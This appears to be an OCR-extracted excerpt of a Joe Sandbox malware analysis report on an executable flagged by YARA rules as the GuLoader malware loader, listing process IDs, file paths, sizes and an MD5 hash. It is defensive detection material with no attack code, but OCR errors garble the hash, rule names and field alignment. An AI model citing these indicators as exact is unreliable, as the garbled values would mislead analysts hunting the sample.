Has elevated privileges: false

Has administrator privileges: false

Programmed in: Visual Basic

Yara matches: e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
0000001A.00000002.51208710920.0000000002290000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: low

File Activities Show Windows behavior

Analysis Process: c8ahotgz8h.exe PID: 6900 Parent PID: 4644

General

Start time: 13:00:00

Start date: 25/11/2021

Path: C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe

Wow64 process (32bit): true

Commandline: "C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe"

Imagebase: 0x400000

File size: 144472 bytes

MD5 hash: 812181DF251E06433BF2F4F6A0COFOF4

Has elevated privileges: false

Has administrator privileges: false

Programmed in: Visual Basic

Yara matches: e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
0000001B.00000002.51291049340.0000000002320000.00000040.00000001.sdmp,
Author: Joe Security

File Activities Show Windows behavior

Analysis Process: c8ahotgz8h.exe PID: 5908 Parent PID: 5500
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

File Activities

File Created

File Read

13:00:27

25/11/2021

C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe
true

C:\Program Files (x86)\Grt4lhI\c8ahotgz8h.exe
0x400000

144472 bytes
812181DF251E06433BF2F4F6A0COFOF4
false

false

C, C++ or other language

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
0000001C.00000000.51076893477.0000000000560000.00000040.00000001.sdmp,

Author: Joe Security

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
0000001C.00000002.51534694546.0000000000560000.00000040.00000001.sdmp,

Author: Joe Security

Show Windows behavior

Analysis Process: c8ahotgz8h.exe PID: 2508 Parent PID: 7504

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

File Activities

File Created

File Read

13:00:40

25/11/2021

C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe
true

"C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe"
0x400000

144472 bytes
812181DF251E06433BF2F4F6A0COFOF4
false

false

C, C++ or other language

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
0000001D.00000000.51204349057.0000000000560000.00000040.00000001.sdmp,

Author: Joe Security

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
0000001D.00000002.51661508770.0000000000560000.00000040.00000001.sdmp,

Author: Joe Security

Show Windows behavior

Analysis Process: c8ahotgz8h.exe PID: 7388 Parent PID: 6900

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Copyright Joe Security LLC 2021

13:00:48
25/11/2021
C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe

true
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Commandline: "C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe"

Imagebase: 0x400000

File size: 144472 bytes

MDS5 hash: 812181DF251E06433BF2F4F6A0COFOF4

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:

0000001E.00000000.51287210518.0000000000560000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
0000001E.00000002.51740663183.0000000000560000.00000040.00000001.sdmp,
Author: Joe Security

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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